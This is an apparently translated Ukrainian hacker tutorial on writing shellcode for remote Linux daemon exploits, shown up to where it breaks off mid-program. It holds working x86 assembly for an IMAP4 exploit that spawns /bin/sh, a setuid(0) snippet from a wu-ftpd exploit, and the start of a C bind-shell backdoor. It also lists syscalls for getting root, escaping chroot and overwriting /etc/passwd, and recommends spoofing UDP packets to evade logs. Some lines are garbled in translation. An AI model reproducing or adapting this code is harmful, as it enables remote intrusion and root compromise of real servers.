Сподіваюся, що ти знайомий з основними шелл-spawning шеллкодами. Якщо ні, то прочитай текст Aleph’a «Smashing The Stack For Fun And Profit» перед подальшим прочитанням. Ця стаття ґрунтується на типах шеллкодов, які використовуються для демонів на віддалених машинах. Звичайно, досить складно писати сплойт для віддалених демонів, тому що в тебе не так багато шляхів для дослідження конфігурації сервера. Часто шеллкод є дуже складним, але дана стаття допоможе зрозуміти його.

Я почну з давнього експлойта для IMAP4. Це досить непоганий для демонстрації сплойт. Все, що вам потрібно, це «сховати» рядок “/bin/sh” в шеллкоде (т. к. imapd переводить всі символи у верхній регістр).

Це більш-менш нормальний шеллкод, виключаючи циклу, де додається 0х20 до кожного байту рядка “/bin/sh”. Я написав достатньо коментарів, що б початківці змогли зрозуміти код. Віртуози асемблера, вибачте мене за мій код =]
—–imap.S——-
.globl main
main:
jmp call
start:

popl %ebx /* отримуємо адресу для /bin/sh */
movl %ebx,%ecx /* пишемо адресу в ecx */
addb $0x6,%cl /* ecx тепер мітка для наступних символів */

loop:
cmpl %ebx,%ecx
jl skip /* якщо (ecx
addb $0x20,(%ecx) /* додаємо 0x20 до байтам мітки в %ecx */
decb %cl /* переміщуємо мітку нижче */
jmp loop
skip:

/* generic shell-spawning code */
movl %ebx,0x8(%ebx)
xorl %eax,%eax
movb %eax,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
xorl %eax,%eax
inc %al
int $0x80
call:
call start
.string «x0fx42x49x4ex0fx53x48»
————–
Це показова варіація основного шеллкода і може бути використана для маскування символів, які не можна протоколом демона для використання. Але коли пишемо віддалений, як і локальний, експлоїт, він повинен бути максимально компактним. Використовуємо засоби написання шеллкода, залучає основні системні виклики. Основні системні виклики:

setuid(): Для досягнення привілеїв root (пр. wu-ftpd)
mkdir()/chdir()/chroot(): Для скасування повернення в кореневу директорію (пр. wu-ftpd)
dup2(): Для з’єднання по протоколу TCP з сокетом (пр. BIND&rpc.mountd tcp-style)
open()/write(): Для запису в /etc/passwd (пр. та майже всі!)
socket(): Для відкриття сокета шеллкода.

Номери актуальних системних викликів можна знайти в

Більшість системних викликів в linux x86 однакові. Номер виклику кладемо в регістр %eax, а аргументи кладемо в %ebx, %ecx і %edx відповідно. У деяких випадках, коли аргументів більше, ніж розмір регістрів, вони можуть бути записані в використовувану пам’ять, запам’ятовані адреси цих аргументів в регістрі. Або, якщо аргументи є рядком, ви можете запам’ятати рядок в пам’яті і заюзать адресу рядка як аргумент. Перед цим треба викликати «int $0x80»

Далі приклад — невеликий шеллкод з мого експлоїта для wu-ftpd, який викликає setuid(0).

Примітка: регістри повинні бути «обнулені» перед використанням коду.
—setuid.S—-
.globl main
main:
xorl %ebx,%ebx /* нуль у %ebx регістрі, це 1 аргумент */
movl %ebx,%eax /* нуль виходить з %регістра eax */
movb $0x17,%al /* задаємо номер системного виклику */
int $0x80 /* викликаємо переривання */
—————

Порт-binding шеллкод.

Коли ви використовуєте експлоїт для віддаленого демона з основним шеллкодом, він повинен створити з’єднання TCP, для вводавыводадр. звичайного шелла. Це звичайне властивість для всіх віддалених сплойтов і досить складно здійснити.

Однак це можливо (може бути знайдена нова уразливість), якщо демон дозволяє сервіс UDP (SNMP як приклад). І, можливо, для доступу до демону доводиться изпользовать тільки UDP, якщо, наприклад, TCP порт закритий файрволом. Дана linux’овая вразливість використовує UDP — BIND, т. до. все rpc сервіси використовують і UDP і TCP. Так само, якщо ви шлете udp-пакет, цілком реально «заспуфить» пакет, після чого він не засвітиться в будь-яких логах =)

Для експлойта для демона, через UDP, ви повинні написати шеллкод, який модифікує файл з паролями або виконає інші дії, але інтерактивні шелли є більш елітними =]

Навряд чи ви зможете вставити UDP в шеллкод, вам потрібно TCP. Моя ідея — написати шеллкод, який відкриє бекдор на певний порт і повісить на нього шелл.

Я знаю, що я не перший, хто пише такий тип шеллкодов, але я не бачив офіційно опублікованих шеллкодов такого типу.

Основна бінд-шелл програма представлена нижче:
int main()
{
char *name[2];
int fd,fd2,fromlen;
struct sockaddr_in serv;

fd=socket(AF_INET,SOCK_STREAM,0);
serv.sin_addr.s_addr=0;
serv.sin_port=1234;
serv.sin_family=AF_INET;
bind(fd,(struct sockaddr *)&serv,16);
listen(fd,1);
fromlen=16; /*(sizeof(struct sockaddr)*/
fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);